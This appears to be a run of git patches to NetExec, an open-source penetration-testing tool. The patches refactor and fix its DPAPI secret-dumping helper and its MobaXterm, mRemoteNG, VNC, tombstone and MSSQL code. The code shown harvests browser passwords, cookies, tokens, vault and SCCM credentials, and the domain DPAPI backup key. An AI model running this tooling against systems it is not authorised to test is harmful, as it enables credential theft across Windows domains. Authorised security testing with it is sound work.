auth=auth, From 44267c807f8070045c9863ea0a9883201c90bbf4 Mon Sep 17 00:00:00 2001 From: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> Date: Fri, 11 Sep 2026 17:24:46 -0300 Subject: [PATCH 295/397] Recover the description field of deleted objects Added new code to recover the description (if active) from deleted objects Signed-off-by: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> --- nxc/modules/tombstone.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/modules/tombstone.py b/nxc/modules/tombstone.py index 8c2ac9e920..2f2bb7da41 100644 --- a/nxc/modules/tombstone.py +++ b/nxc/modules/tombstone.py @@ -88,6 +88,7 @@ def restore_deleted_object(self, context, connection): if self.id == entries["name"].split(":")[1]: context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}") + context.log.highlight(f"{'description':<20}: {entries.get('description', '')}") context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}") context.log.highlight(f"{'ID':<20}: {entries.get('name', '').split(':')[1]}") context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}") @@ -158,6 +159,7 @@ def query_deleted_objects(self, context): continue context.log.highlight(f"{'sAMAccountName':<20}: {entries.get('sAMAccountName', '')}") + context.log.highlight(f"{'description':<20}: {entries.get('description', '')}") context.log.highlight(f"{'dn':<20}: {entries.get('distinguishedName', '')}") context.log.highlight(f"{'ID':<20}: {entries.get('name', '').split(':')[1]}") context.log.highlight(f"{'isDeleted':<20}: {entries.get('isDeleted', '')}") From 317840f6df3f104775ac61a42622e02557b92a15 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 12 Sep 2026 09:12:05 -0400 Subject: [PATCH 296/397] Remove unused functions and imports --- nxc/modules/mobaxterm.py | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/nxc/modules/mobaxterm.py b/nxc/modules/mobaxterm.py index aeb68022f3..a153bb8dbc 100644 --- a/nxc/modules/mobaxterm.py +++ b/nxc/modules/mobaxterm.py @@ -1,4 +1,4 @@ -from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword +from dploot.triage.mobaxterm import MobaXtermTriage from nxc.helpers.misc import CATEGORY @@ -19,16 +19,8 @@ def on_admin_login(self, context, connection): context.log.fail("No masterkeys looted") return - context.log.success("Looting MobaXterm secrets") - - def mobaxterm_callback(credential): - if isinstance(credential, MobaXtermCredential): - log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) - elif isinstance(credential, MobaXtermPassword): - log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) - context.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}") - try: + context.log.success("Looting MobaXterm secrets") triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys) triage.triage_mobaxterm() except Exception as e: From 9249bb38342c045ab44912a0f9d46d0d186d3b6e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 12 Sep 2026 09:21:14 -0400 Subject: [PATCH 297/397] Fix remoteng execution --- nxc/modules/mremoteng.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index f9a39c691a..92749d1b06 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -112,7 +112,7 @@ def handle_confCons_file(self, file_content): protocol = node_attribute["Protocol"] port = node_attribute["Port"] host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " " - self.context.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}") + self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}") def parse_xml_nodes(self, main): nodes = [] From 4e2c0a60d4da7e2dbf92ae2f788a30ed6d7bbb2a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 12 Sep 2026 09:24:34 -0400 Subject: [PATCH 298/397] Rename 'context' to 'connection' so it is in line with modules --- nxc/helpers/dpapi.py | 174 +++++++++++++++++++++---------------------- 1 file changed, 87 insertions(+), 87 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index e1a4e997fa..217ae7c928 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -13,7 +13,7 @@ from nxc.helpers.logger import highlight -def upgrade_to_dploot_connection(target, context): +def upgrade_to_dploot_connection(target, connection): """ DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part. This function gets the calling NXC protocol and tries reuse the already opened connection @@ -26,32 +26,32 @@ def upgrade_to_dploot_connection(target, context): case "smb": from dploot.lib.network.smb import DPLootSMBConnection conn = DPLootSMBConnection(target) - if context is not None: - conn.smb_session = context.conn + if connection is not None: + conn.smb_session = connection.conn else: conn.connect() case "wmi": from dploot.lib.network.wmi import DPLootWMIConnection conn = DPLootWMIConnection(target) - if context is not None: - conn.dcom = context.dcom_conn - conn.iWbemLevel1Login = context.iWbemLevel1Login + if connection is not None: + conn.dcom = connection.dcom_conn + conn.iWbemLevel1Login = connection.iWbemLevel1Login else: conn.connect() case "winrm": from dploot.lib.network.winrm import DPLootWINRMConnection conn = DPLootWINRMConnection(target) - if context is not None: - conn.conn = context.conn + if connection is not None: + conn.conn = connection.conn else: conn.connect() case "mssql": from dploot.lib.network.mssql import DPLootMSSQLConnection conn = DPLootMSSQLConnection(target) - if context is not None: - conn.conn = context.conn + if connection is not None: + conn.conn = connection.conn except Exception as e: - context.logger.debug(e) + connection.logger.debug(e) return None return conn @@ -80,8 +80,8 @@ def dpapi_triage(self) -> DPAPITriage: This way, every DPAPI related module will automaticaly work with the protocol """ - def __init__(self, context, target: Target): - self.context = context + def __init__(self, connection, target: Target): + self.connection = connection self.target = target self.conn = None @@ -90,11 +90,11 @@ def __init__(self, context, target: Target): self._pvkbytes = None # Keep track of writing secrets in file - self.output_file = self.context.output_file_template.format(output_folder="dpapi") + self.output_file = self.connection.output_file_template.format(output_folder="dpapi") self.secrets_counter = 0 - if context.args.dpapi is not None: - self.dump_cookies = "cookies" in context.args.dpapi + if connection.args.dpapi is not None: + self.dump_cookies = "cookies" in connection.args.dpapi # Variables to know what materkey types have already been dumped self.system_masterkeys_already_dumped = False @@ -106,11 +106,11 @@ def __init__(self, context, target: Target): def __del__(self): # When everything is finished, then we give the feedback to the user if self.output_file is not None and self.secrets_counter > 0: - self.context.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}") + self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}") def log_secret(self, line): # Handle the secret counter here, avoid to handle it in multiple places - self.context.logger.highlight(line) + self.connection.logger.highlight(line) with open(self.output_file, "a", encoding="utf-8") as fd: self.secrets_counter += 1 fd.write(line + "\n") @@ -118,11 +118,11 @@ def log_secret(self, line): def init_connection(self): """Tries to initiate a DPLootConnection object from a NXC connection""" if self.conn is not None: - self.context.logger.debug("DPLoot connection already initiated, skipping.") + self.connection.logger.debug("DPLoot connection already initiated, skipping.") return - self.conn = upgrade_to_dploot_connection(context=self.context, target=self.target) + self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target) if self.conn is None: - self.context.logger.fail("Could not upgrade connection to allow DPAPI triage") + self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage") return def collect_masterkeys_from_target(self, dump_users: True, dump_system: False): @@ -140,37 +140,37 @@ def collect_masterkeys_from_target(self, dump_users: True, dump_system: False): nthashes = {} # First, check and handle the mkfile arg - if self.context.args.mkfile is not None: + if self.connection.args.mkfile is not None: try: - masterkeys += parse_masterkey_file(self.context.args.mkfile) + masterkeys += parse_masterkey_file(self.connection.args.mkfile) except Exception as e: - self.context.logger.fail(str(e)) + self.connection.logger.fail(str(e)) # Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys if dump_users: users = self.conn.list_users() - plaintexts = {username: password for _, _, username, password, _, _ in self.context.db.get_credentials_for_users(usernames=users, cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.context.db.get_credentials_for_users(usernames=users, cred_type="hash")} + plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")} + nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")} # dploot matches user.lower() - if self.context.password != "": - plaintexts[self.context.username.lower()] = self.context.password - if self.context.nthash != "": - nthashes[self.context.username.lower()] = self.context.nthash + if self.connection.password != "": + plaintexts[self.connection.username.lower()] = self.connection.password + if self.connection.nthash != "": + nthashes[self.connection.username.lower()] = self.connection.nthash # Now prepare the SYSTEM part if (dump_system - and self.context.dpapi_system_key is None - and hasattr(self.context, "lsa") - and callable(self.context.lsa)): + and self.connection.dpapi_system_key is None + and hasattr(self.connection, "lsa") + and callable(self.connection.lsa)): # We can use the protocol specific LSA dump if not already dumped. # But first, just making sure the protocol supports LSA dump :) - self.context.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys") - self.context.lsa(quiet=True) - if self.context.dpapi_system_key is not None: - self.context.logger.highlight(f"dpapi_machinekey:{self.context.dpapi_system_key['MachineKey'].hex()}") - self.context.logger.highlight(f"dpapi_userkey:{self.context.dpapi_system_key['UserKey'].hex()}") + self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys") + self.connection.lsa(quiet=True) + if self.connection.dpapi_system_key is not None: + self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}") + self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}") else: - self.context.logger.fail("Could not get DPAPI SYSTEM keys") + self.connection.logger.fail("Could not get DPAPI SYSTEM keys") # Invoke MasterkeyTriage class try: @@ -180,29 +180,29 @@ def collect_masterkeys_from_target(self, dump_users: True, dump_system: False): pvkbytes=self.pvkbytes, passwords=plaintexts, nthashes=nthashes, - dpapiSystem=self.context.dpapi_system_key, + dpapiSystem=self.connection.dpapi_system_key, ) - self.context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") + self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") # Collect User Masterkeys if this has not already been done if dump_users and not self.users_masterkeys_already_dumped: - self.context.logger.display("Collecting DPAPI Users masterkeys") + self.connection.logger.display("Collecting DPAPI Users masterkeys") masterkeys += masterkeys_triage.triage_masterkeys() # if multiple functionalities are calling masterkeys triage, make sur we do it only once self.users_masterkeys_already_dumped = True # Collect SYSTEM Masterkeys if this has not already been done - if self.context.dpapi_system_key is not None and not self.system_masterkeys_already_dumped: - self.context.logger.display("Collecting DPAPI SYSTEM masterkeys") + if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped: + self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys") masterkeys += masterkeys_triage.triage_system_masterkeys() # if multiple functionalities are calling masterkeys triage, make sur we do it only once self.system_masterkeys_already_dumped = True except Exception as e: - self.context.logger.debug(f"Could not get masterkeys: {e}") + self.connection.logger.debug(f"Could not get masterkeys: {e}") self.masterkeys += masterkeys # If we decrypted new masterkeys, print the message if len(masterkeys) > 0: - self.context.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ") + self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ") return self.masterkeys def triage_credentials(self, masterkeys: list[Masterkey]): @@ -212,7 +212,7 @@ def credential_callback(credential): tag = "CREDENTIAL" line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}" self.log_secret(line) - self.context.db.add_dpapi_secrets( + self.connection.db.add_dpapi_secrets( self.target.address, tag, credential.winuser, @@ -223,11 +223,11 @@ def credential_callback(credential): try: credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback) - self.context.logger.debug(f"Credentials Triage Object: {credentials_triage}") + self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}") credentials_triage.triage_credentials() credentials_triage.triage_system_credentials() except Exception as e: - self.context.logger.debug(f"Error while looting credentials: {e}") + self.connection.logger.debug(f"Error while looting credentials: {e}") def triage_chromium(self, masterkeys: list[Masterkey]): cng_chromekey = None @@ -236,10 +236,10 @@ def triage_chromium(self, masterkeys: list[Masterkey]): cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys) for cng_file in cng_triage.triage_system_cng(): if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1": - self.context.logger.debug("Found CNG Google ChromeKey1\n") + self.connection.logger.debug("Found CNG Google ChromeKey1\n") cng_chromekey = cng_file.decrypted_private_key except Exception as e: - self.context.logger.debug(f"Error while getting CNG ChromeKey1: {e}") + self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}") # Collect Chrome Based Browser stored secrets def browser_callback(secret): @@ -247,7 +247,7 @@ def browser_callback(secret): secret_url = secret.url + " -" if secret.url != "" else "-" line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}" self.log_secret(line) - self.context.db.add_dpapi_secrets( + self.connection.db.add_dpapi_secrets( self.target.address, secret.browser.upper(), secret.winuser, @@ -258,7 +258,7 @@ def browser_callback(secret): elif isinstance(secret, GoogleRefreshToken): line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}" self.log_secret(line) - self.context.db.add_dpapi_secrets( + self.connection.db.add_dpapi_secrets( self.target.address, secret.browser.upper(), secret.winuser, @@ -274,7 +274,7 @@ def browser_callback(secret): browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback) browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey) except Exception as e: - self.context.logger.debug(f"Error while looting browsers: {e}") + self.connection.logger.debug(f"Error while looting browsers: {e}") def triage_vaults(self, masterkeys: list[Masterkey]): def vault_callback(secret): @@ -283,7 +283,7 @@ def vault_callback(secret): resource = secret.resource + " -" if secret.resource != "" else "-" line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}" self.log_secret(line) - self.context.db.add_dpapi_secrets( + self.connection.db.add_dpapi_secrets( self.target.address, tag, secret.winuser, @@ -297,7 +297,7 @@ def vault_callback(secret): vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback) vaults_triage.triage_vaults() except Exception as e: - self.context.logger.debug(f"Error while looting vaults: {e}") + self.connection.logger.debug(f"Error while looting vaults: {e}") def triage_firefox(self): def firefox_callback(secret): @@ -306,7 +306,7 @@ def firefox_callback(secret): url = secret.url + " -" if secret.url != "" else "-" line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}" self.log_secret(line) - self.context.db.add_dpapi_secrets( + self.connection.db.add_dpapi_secrets( self.target.address, tag, secret.winuser, @@ -320,7 +320,7 @@ def firefox_callback(secret): try: # Collect Firefox stored secrets - firefox_triage = FirefoxTriage(target=self.target, logger=self.context.logger, conn=self.conn, per_secret_callback=firefox_callback) + firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback) firefox_triage.run(gather_cookies=self.dump_cookies) except Exception as e: self.logger.debug(f"Error while looting firefox: {e}") @@ -328,13 +328,13 @@ def firefox_callback(secret): # The dpapi function for every protocol def triage_dpapi(self): # Load masterkeys - masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.context.args.dpapi) + masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi) if len(masterkeys) == 0: # Nothing will be recovered if no masterkeys, so we can stop there - self.context.logger.fail("No masterkeys looted") + self.connection.logger.fail("No masterkeys looted") return - self.context.logger.success("Looting secrets...") + self.connection.logger.success("Looting secrets...") # Calling all the triage functions. We can add other triage functions here self.triage_credentials(masterkeys) @@ -345,17 +345,17 @@ def triage_dpapi(self): def triage_sccm(self): masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True) if len(masterkeys) == 0: - self.context.logger.fail("No masterkeys looted") + self.connection.logger.fail("No masterkeys looted") return - self.context.logger.success("Looting SCCM Credentials") + self.connection.logger.success("Looting SCCM Credentials") def sccm_callback(secret): if isinstance(secret, SCCMCred): tag = "NAA Account" line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}" self.log_secret(line) - self.context.db.add_dpapi_secrets( + self.connection.db.add_dpapi_secrets( self.target.address, f"SCCM - {tag}", "SYSTEM", @@ -367,7 +367,7 @@ def sccm_callback(secret): tag = "Task sequences secret" line = f"[{tag}] {secret.secret.decode('latin-1')}" self.log_secret(line) - self.context.db.add_dpapi_secrets( + self.connection.db.add_dpapi_secrets( self.target.address, f"SCCM - {tag}", "SYSTEM", @@ -379,7 +379,7 @@ def sccm_callback(secret): tag = "Collection Variable" line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}" self.log_secret(line) - self.context.db.add_dpapi_secrets( + self.connection.db.add_dpapi_secrets( self.target.address, f"SCCM - {tag}", "SYSTEM", @@ -409,51 +409,51 @@ def pvkbytes(self): pvkbytes = None # First check the pvk argument and handle it - if self.context.args.pvk is not None: + if self.connection.args.pvk is not None: try: - with open(self.context.args.pvk, "rb") as fd: + with open(self.connection.args.pvk, "rb") as fd: pvkbytes = fd.read() - self.context.logger.success(f"Loading domain backupkey from {self.context.args.pvk}") + self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}") except Exception as e: - self.context.logger.fail(str(e)) + self.connection.logger.fail(str(e)) # If no pvkbytes yet, then we check in the DB if pvkbytes is None: try: - results = self.context.db.get_domain_backupkey(self.context.domain) + results = self.connection.db.get_domain_backupkey(self.connection.domain) except Exception: - self.context.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option") + self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option") return False if len(results) > 0: - self.context.logger.success("Loading domain backupkey from nxcdb...") + self.connection.logger.success("Loading domain backupkey from nxcdb...") pvkbytes = results[0][2] # If no pvkbytes yet, then we can try to get it from a domain controller - if pvkbytes is None and self.context.no_da is None and self.context.args.local_auth is False: + if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False: try: dc_target = SMBTarget.create( - domain=self.context.domain, - username=self.context.username, - password=self.context.password, - address=self.context.kdcHost, # querying DNS server for domain will return DC - lmhash=self.context.lmhash, - nthash=self.context.nthash, - do_kerberos=self.context.kerberos, - aesKey=self.context.aesKey, - use_kcache=self.context.use_kcache, + domain=self.connection.domain, + username=self.connection.username, + password=self.connection.password, + address=self.connection.kdcHost, # querying DNS server for domain will return DC + lmhash=self.connection.lmhash, + nthash=self.connection.nthash, + do_kerberos=self.connection.kerberos, + aesKey=self.connection.aesKey, + use_kcache=self.connection.use_kcache, ) dc_conn = DPLootSMBConnection(dc_target) dc_conn.connect() # Connect to DC if dc_conn.is_admin(): - self.context.logger.success("User is Domain Administrator, exporting domain backupkey...") + self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...") backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) backupkey = backupkey_triage.triage_backupkey() pvkbytes = backupkey.backupkey_v2 - self.context.db.add_domain_backupkey(self.context.domain, pvkbytes) + self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes) else: - self.context.no_da = False + self.connection.no_da = False except Exception as e: - self.context.logger.fail(f"Could not get domain backupkey: {e}") + self.connection.logger.fail(f"Could not get domain backupkey: {e}") self._pvkbytes = pvkbytes return self._pvkbytes From 164f35ddddcec62414233af4f28c48c22617d9f1 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 12 Sep 2026 09:32:00 -0400 Subject: [PATCH 299/397] Catch Exception if software is not installed --- nxc/modules/vnc.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/nxc/modules/vnc.py b/nxc/modules/vnc.py index b000aa416e..979e6e06b4 100644 --- a/nxc/modules/vnc.py +++ b/nxc/modules/vnc.py @@ -2,6 +2,7 @@ import tempfile from impacket import winregistry +from impacket.dcerpc.v5 import rrp from Cryptodome.Cipher import DES from binascii import unhexlify @@ -107,7 +108,14 @@ def vnc_from_registry(self, dpapi_conn): ("TightVNC", "Software\\TightVNC\\Server", "PasswordViewOnly"), ) for vnc_name, path, key in vncs: - value = dpapi_conn.reg_get_key_value("HKLM", path, key) + try: + value = dpapi_conn.reg_get_key_value("HKLM", path, key) + except rrp.DCERPCSessionError as e: + if "ERROR_FILE_NOT_FOUND" in str(e): + self.context.log.debug(f"Could not find {path}\\{key}, likely not installed: {e}") + else: + self.context.log.fail(f"Error while RegQueryValue {path}\\{key}: {e}") + continue if value is None: continue value = value.rstrip(b"\x00") From f1078b662228c45c55c729a3b7287f0cfea7f558 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 12 Sep 2026 12:36:36 -0400 Subject: [PATCH 300/397] Use dploot pypi version --- poetry.lock | 2 +- pyproject.toml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/poetry.lock b/poetry.lock index 9f2caf5b98..0aee7a649f 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2998,4 +2998,4 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "f2f90c8a2f82ff214870191844e1583a84b0206f078e625cacdb976b67622dc6" +content-hash = "11d6b0b792b5f5e7ecb7ed5ba7406f4353f298e4ff154bca15d9a93a0a3fec48" diff --git a/pyproject.toml b/pyproject.toml index 52ad1f72d3..917bad1598 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -24,7 +24,7 @@ dependencies = [ "bloodhound-ce>=1.8.0", "certihound>=0.1.1", "cryptography>=42.0.8", - "dploot@git+https://github.com/zblurx/dploot.git#network_proto_upgrade", + "dploot>=4.0.0", "dsinternals>=1.2.4", "jwt>=1.3.1", "lsassy>=3.1.11", From 490d7397f2be190588069bd65d06105079d74883 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 13 Sep 2026 17:33:16 -0400 Subject: [PATCH 301/397] Formatting --- nxc/protocols/mssql.py | 19 ++++++++----------- 1 file changed, 8 insertions(+), 11 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index a08650c675..2b71a1958d 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -484,8 +484,7 @@ def _qname(self, ident: str) -> str: def list_databases(self): query = """ - SELECT d.name AS DatabaseName, - suser_sname(d.owner_sid) AS Owner + SELECT d.name AS DatabaseName, suser_sname(d.owner_sid) AS Owner FROM sys.databases d ORDER BY d.name; """ @@ -506,26 +505,24 @@ def list_databases(self): self.logger.highlight(f"Total: {len(rows)} database(s)") def database(self): - db_arg = self.args.database - # nxc --database (no value) -> list - if db_arg is True or db_arg is None: + if self.args.database is True: self.list_databases() return # nxc --database -> tables - if isinstance(db_arg, str): - safe = db_arg.replace("'", "''") + if isinstance(self.args.database, str): + safe = self.args.database.replace("'", "''") exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';") if self.conn.lastError: self.logger.fail(f"Error running the SQL query: {self.conn.lastError}") if not exists: - self.logger.fail(f"Database [{db_arg}] does not exist on the server.") + self.logger.fail(f"Database [{self.args.database}] does not exist on the server.") return query = f""" SELECT t.name AS TableName, t.modify_date - FROM {self._qname(db_arg)}.sys.tables t + FROM {self._qname(self.args.database)}.sys.tables t ORDER BY t.name; """ rows = self.conn.sql_query(query) @@ -534,10 +531,10 @@ def database(self): self.logger.fail(f"Error running the SQL query: {self.conn.lastError}") if not rows: - self.logger.display(f"Database [{db_arg}] has no user tables.") + self.logger.display(f"Database [{self.args.database}] has no user tables.") return - self.logger.display(f"Tables in database: {db_arg}") + self.logger.display(f"Tables in database: {self.args.database}") self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}") self.logger.highlight(f"{'-' * 50} {'-' * 25}") for r in rows: From ee3dd5e0e62bd7dc148c1a046da51c9250ce7901 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 13 Sep 2026 17:35:47 -0400 Subject: [PATCH 302/397] Formatting --- nxc/protocols/mssql.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 2b71a1958d..5aeb720267 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -537,11 +537,11 @@ def database(self): self.logger.display(f"Tables in database: {self.args.database}") self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}") self.logger.highlight(f"{'-' * 50} {'-' * 25}") - for r in rows: - mod = r.get("modify_date", "") - if mod and hasattr(mod, "strftime"): - mod = mod.strftime("%Y-%m-%d %H:%M:%S") - self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}") + for row in rows: + modify_date = row.get("modify_date", "") + if modify_date and hasattr(modify_date, "strftime"): + modify_date = modify_date.strftime("%Y-%m-%d %H:%M:%S") + self.logger.highlight(f"{row.get('TableName', ''):<50} {modify_date!s:<25}") self.logger.highlight(f"Total: {len(rows)} table(s)") return From a6017269af2bf05fef55e429a158e7b68e3a3251 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 13 Sep 2026 17:42:00 -0400 Subject: [PATCH 303/397] Fixing wrongfully string decoding --- nxc/protocols/mssql.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 68b19ee512..9767445689 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -655,4 +655,4 @@ def db_hash(self): hash_type = row.get("hash_type") password_hash = row.get("password_hash") if password_hash != "NULL": - self.logger.highlight(f"{name:<15} {hash_type:<10} {password_hash.decode():<140}") + self.logger.highlight(f"{name:<15} {hash_type:<10} {password_hash:<140}") From 0b3f805283947fbe044a7844a5e5f0a2fb3ba3ac Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 13 Sep 2026 17:46:37 -0400 Subject: [PATCH 304/397] Change negative expression logging message --- nxc/protocols/mssql.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 9767445689..74527dfaa4 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -644,7 +644,7 @@ def db_hash(self): self.logger.fail(f"Error running the SQL query: {self.conn.lastError}") return if not rows: - self.logger.display("No logins returned") + self.logger.fail("No logins returned") return else: self.logger.display("Enumerated logins") From aecf64dbc74c3e0fe124b0530d92c5ded2caa906 Mon Sep 17 00:00:00 2001 From: mpgn Date: Sun, 13 Sep 2026 23:55:34 +0200 Subject: [PATCH 305/397] uv lock update --- uv.lock | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index bea6b321fd..b2b5a6ca4b 100644 --- a/uv.lock +++ b/uv.lock @@ -3,7 +3,7 @@ revision = 3 requires-python = ">=3.10, <4.0" [options] -exclude-newer = "2026-09-08T19:14:51.279264021Z" +exclude-newer = "2026-09-12T21:55:15.980757914Z" exclude-newer-span = "P1D" [[package]] @@ -747,7 +747,7 @@ wheels = [ [[package]] name = "dploot" version = "4.0.0" -source = { git = "https://github.com/zblurx/dploot.git?rev=network_proto_upgrade#603059633b88b4735f9df377fd56d8d7b1b38dee" } +source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "cryptography" }, { name = "impacket" }, @@ -756,6 +756,10 @@ dependencies = [ { name = "pyasn1" }, { name = "pypsrp" }, ] +sdist = { url = "https://files.pythonhosted.org/packages/59/89/66fcaaa99b85713fe1759a2df0246f94597f7c8d26902a3acdfb0b20ff55/dploot-4.0.0.tar.gz", hash = "sha256:c77303536377e64f43ba8210fc04ed3e787e96b4c105e09f5b9ef55f1cd55e52", size = 71370, upload-time = "2026-08-24T13:06:42.938Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/ed/9550cbe71e939b8ef19c3a9bd6dffc25c024ff908e11d9f2efcf8c41176c/dploot-4.0.0-py3-none-any.whl", hash = "sha256:24d0660be049199e363f93d6d10e5336b175cc8b8e6bcedd7382e569190a4542", size = 100723, upload-time = "2026-08-24T13:06:44.254Z" }, +] [[package]] name = "dsinternals" @@ -1408,7 +1412,7 @@ requires-dist = [ { name = "certihound", specifier = ">=0.1.1" }, { name = "certipy-ad", git = "https://github.com/Pennyw0rth/Certipy" }, { name = "cryptography", specifier = ">=42.0.8" }, - { name = "dploot", git = "https://github.com/zblurx/dploot.git?rev=network_proto_upgrade" }, + { name = "dploot", specifier = ">=4.0.0" }, { name = "dsinternals", specifier = ">=1.2.4" }, { name = "impacket", git = "https://github.com/fortra/impacket" }, { name = "jwt", specifier = ">=1.3.1" }, From d5e04789c4911420da4abde55ecadb5883ee020f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 13 Sep 2026 18:10:32 -0400 Subject: [PATCH 306/397] Formatting --- nxc/protocols/mssql.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index ae6e8be09e..736b91e25b 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -644,7 +644,7 @@ def list_backups(self): 